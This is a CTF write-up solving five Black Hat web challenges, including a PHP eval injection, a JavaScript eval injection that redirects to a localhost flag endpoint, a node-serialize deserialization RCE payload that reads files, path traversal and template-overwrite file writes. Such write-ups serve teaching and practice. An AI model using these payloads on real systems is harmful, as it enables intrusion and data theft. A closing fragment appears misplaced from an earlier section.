Black Hat CTF Web Challenges
  • Black Hat CTF Writeups
Powered by GitBook
On this page
  • Spatify ( Web - Easy )
  • peeHpee ( Web - Easy )
  • Meme Generator ( Web - Medium )
  • Black Notes ( Web - Medium )
  • Jimmy's Blog ( Web - Hard )

Black Hat CTF Writeups

Last updated 2 years ago

Welcome again hackers, today I'll share the approach taken for solving web challenges at black hat CTF ... so without further ado let's dive in

Spatify ( Web - Easy )

Although this was an easy challenge but it took us too much time and effort to solve it.

When we first open the challenge we see this search panel :

Using normal SQL injection payloads like ' or 1=1-- -; , " or 1=1-- -; , ' or 1=1#; didn't work . Performing directory search we see robots.txt that revealed hidden admin panel :

Trying all authentication bypass on this panel did not work , Until we figured out that it maybe returning the results in the search bar using keywords like like so to match one character we can use %

Now we want to get all records , so if we typed only % it will through us an error to write 5 characters so by typing %%%%% :

We got all the records ! opening the source reveals the password and then we can easily login to the admin panel :

peeHpee ( Web - Easy )

When we first open the challenge we see a normal login page

The actions that could be taken here are many, like trying auth bypass or create an account or common credentials ... etc , However the first thing i'd like to do is to see the source code :

<!-- Check /?source= for the source code -->

We see this hint in the source, by providing this parameter we get the source code :

<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="admin@naruto.com"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }

        }
    }
}
?>

Let's see what is going on :

  • First it checks for the request method - should be POST - .

  • It then takes 2 post parameters email and password the email value should be admin@naruto.com

  • A variable called x is declared and gets it's value from post parameter called test

  • an additional check is applied to the password as it removes any non alpha-numerical character and the new value gets stored in a variable called $inp .

  • If the value of inp contains the value SuperSecRetPassw0rd directly then it will not work, but if it - somehow - equals the value of SuperSecRetPassw0rd it will echo the flag .

So here is the work, how could we get into the admin account without giving the parameter password the correct value ? $x=$_POST["test"]; if we noticed, this variable did not appear again in the code, but it is here for a reason right ? so we can assign the value of the password to the post parameter test as follow :

The value will be reflected to the variable x , we can now assign the value of the post parameter password to be $x :

And this will work :

Meme Generator ( Web - Medium )

When we first open the URL we see a fancy meme generator that takes the search engine and the search query as an input, in the right bottom we see a button the gives us the source code :

import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)

The /api/generate route :

It takes the search engine and query search as post parameters and then uses the function take_screenshot , I searched for public exploits for this function but no luck .

The /flag route :

It checks if the request made to this endpoint was done from the local host and the URL starts with http://l0calhost

Returning to the main application to see the functionality , If I typed any thing as follow :

We see the following result :

So our search query value is reflected to in the search bar , It does not search for it so we cannot for example use file:// schema or perform a usual SSRF .

But since the value is reflected let's try some vulns like SSTI , I used this payload {{7*7}} but it wasn't evaluated to 49 , After trials and errors we can see that if we used the following payload : test" + "query the web application actually concatenates our string :

Another one -> test" + (1+1) + " :

This confirms that our query is executed within eval() statement, I've tried python functions like dir() , open() and even type() but none worked so i opened the source code to see if anything is happening :

I saw this script , So now the data is being handled using javascript not python. To make sure i used JS functions like document.write() as follow :

";document.write("<h1>Hello</h1>");"

And the output was :

Now for the part to get the flag, we know that any request done by the search engine will have the remote address of 127.0.0.1 which meets the first condition to get the flag, the second condition is that the URL starts with l0calhost , The domain localtest.me accepts any subdomain and will also points to local host : l0calhost.localtest.me === localtest.me . Finally we can render the request to the /flag endpoint using JS as follow :

";document.location="http://l0calhost.localtest.me:8080/flag";"

We used the port 8080 here because it was the port the app running on form the source code .

Black Notes ( Web - Medium )

When we open the challenge we see this home page :

The source code shows nothing, so let's create an account and login

It allows us to write notes , let's intercept the request see if any thing hidden occurs

Nothing weird except for the notes cookie, The decoded value of the cookie is the notes :

I used this code which will generate our payload :

var y = {
rce : function(){
 require('fs').readdirSync('.').toString()
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

This basically will generate a payload that reads the current directory files

Final Payload :

{"notes":{"0":"test","1":"_$$ND_FUNC$$_function(){\n require('fs').readdirSync('.').toString()\n}()"}}

We then base64 encode it and replace it as the value of notes cookie

However there is no any result , so let's try to use return keyword to return the result :

// Some code{"notes":{"0":"test","1":"_$$ND_FUNC$$_function(){\n return require('fs').readdirSync('.').toString()\n}()"}}

It worked ! But no flag here, climbing up the directory we found the flag file in the / directory

Now we can read it by just replacing the payload with : return require('fs').readFileSync('/ranDom_fl4gImportant.txt') :

Jimmy's Blog ( Web - Hard )

This was the last and the only hard challenge, It also had source code files to download.

This challenge actually was solved by my teammates as I wasn't available at the time, but let's see the approach taken.

When we open the page we see this homepage with the option to register and login, let's try to register :

It asks me for username and then creates a key for me using the username to be username.key let's see how this function operates from the source code :

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

We see the database initialized and a user called jimmy_jammy registered with admin privileges.

We can that the register function takes the username and then gets the key from the keys directory to be /dirname/keys/username.key but since there are no validations on the username we can use path traversal to get the key for the user jimmy .

Now we got the access key for the user jimmy we can login easily , as it checks whether the access key for the user is correct or not .

We can see that a new option was add to us after gaining admin access :

If we opened any article we see the following message :

If we returned to the source to see what happens in the edit.ejs template :

We see that it actually includes the flag but why does it appears like that ? Surfing the files we see a file called nginx.conf :

What this file actually does is replacing the real value of the flag by the statement we saw , so we need a way to bypass this. Back again to the source code to see this snippet :

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

In the first snippet, GET request to the route /edit but we can see that it applies parseInt to the id parameter , no matter what we pass it will be converted to integer leaving no room for file inclusion.

In the second one, POST request to the same route but this time the id parameter is not parsed which would allow us to overwrite files right ? so for example :

?id=../views/navbar.ejs would allow us to overwrite the navigator template and then we can include the flag using the template notation -> <%= %>

The following request would overwrite the article template and by including the flag we expect to see it :

But no, because nginx will replace the flag if it saw the flag value - The real value - so we can use btoa() function to base64 encode the flag so that nginx would not replace it :

Final Result :

That's all my friends I hope you enjoyed my explanation, Kudos to my teammates @ibraradi9 @Xhzeem @0xmanticore which did a great job .

This is a pretty strange way to store the notes, however since wappalyzer shows us that the programming language is node we are dealing with node deserialization I've solved a similar challenge here :

https://medium.com/@kemad951/jason-tryhackme-246f3986a41d
base64 decoded